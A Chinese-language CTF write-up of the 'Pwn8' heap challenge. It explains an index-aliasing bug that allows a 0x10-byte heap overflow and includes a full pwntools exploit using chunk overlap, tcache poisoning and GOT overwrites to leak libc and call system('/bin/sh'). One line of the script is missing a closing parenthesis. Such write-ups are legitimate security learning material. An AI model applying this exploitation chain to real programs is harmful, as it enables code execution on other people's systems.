[Pwn] Pwn8 - cpt.shao xp0int Posted on Jul 29 2019 本次比赛被一血的题目,算是简单题了,但是第一天感觉自己不在状态,交互写了好久都没写好。 因此浪费了不少时间,到做出来的时候已经捞不到什么分数了。 可以写got表,没有开PIE,也没有沙盒反调试之类的骚操作。 ```c Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` new部分逻辑,会将heap地址先和idx进行或操作再存到LIST上面。 ```c result = OR((__int64)buf, v3); for ( i = 0; i <= 16; ++i ) { result = LIST[i]; if ( !result ) { LIST[i] = result; result = i; SIZE[i] = size; break; } } ``` delete部分逻辑,会首先还原heap地址再进行free。 ```c for ( i = 0; i <= 16; ++i ) { result = sub_400ACE(LIST[i]); if ( result == v2 ) { free((void *)(LIST[i] & 0xFFFFFFFFFFFFFFF0LL)); LIST[i] = 0LL; SIZE[i] = 0; result = puts("free success.\n"); break; } } ``` edit部分逻辑 ```c for ( i = 0; i <= 16; ++i ) { result = sub_400ACE(LIST[i]); if ( result == v2 ) { printf("content: "); read_into(LIST[i] & 0xFFFFFFFFFFFFFFF0LL, (unsigned int)SIZE[i]); result = puts("edit success.\n"); break; } } ``` 这样的逻辑造成edit的时候分不清idx为0和0x10 chunk的区别,导致造成长度为0x10的heap溢出。有这个0x10的溢出便可以改写下一个chunk的size,提供的是18.04的libc,思路就比较清晰了,先通过改写越界写size来构造overlap的chunk,然后tcache posion改写got表即可。这里选用0x500的chunk是为了free的时候直接进入unsortedbin,劫持got表的时候先把free写成puts@libc来泄露libc地址,然后再把free写成system就可以调用system("/bin/sh") ## exp.py ```py from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': ''} context.log_level = "debug" elf = ELF('./pwn') libc = ELF('./libc.so.6') if len(sys.argv) == 1: p = process('./pwn') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) def add(idx, size, content): sla("choice:", "1") sla("index:", str(idx)) sla("size:", str(size)) sea("content:", content) def delete(idx): sla("choice:", "2") sla("index:", str(idx)) def edit(idx, content): sla("choice:", "3") sla("index:", str(idx)) sea("content:", content) time.sleep(0.1) add(0x10, 0xf8, "A"*0xf8) add(0x1, 0x500, "B"*0x500) add(0x2, 0x500, "C"*0x500) add(0x3, 0x20, "D"*0x20) edit(0, cyclic(0xe0) + p64(0) + p64(0xa21)) delete(1) add(1, 0xa10, "E"*0x20) delete(2) add(2, 0x20, "F"*0x20) add(6, 0x30, "H"*0x30) delete(2) delete(6) # bp(0x400db4) edit(1, "A"*0x500 + p64(0) + p64(0x31) + p64(elf.got['free']) + cyclic(40) + p64(elf.got['alarm'])) add(5, 0x20, "/bin/sh\x00".ljust(0x20)) add(8, 0x20, p64(elf.plt["puts"]) time.sleep(0.1) add(10, 0x30, "I"*0x30) add(9, 0x30, "\n") time.sleep(0.1) # leak delete(9) content = "\x00" + ru("free success")[2:7] leak = uu64(content) info_addr("leak", leak) libc.address = leak - 0xe4800 info_addr("libc", libc.address) edit(8, p64(0)+ p64(libc.symbols['system'])) delete(5) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN] ls - cpt.shao、MF [Pwn] Pwn7 - cpt.shao
没有帐号? 立即注册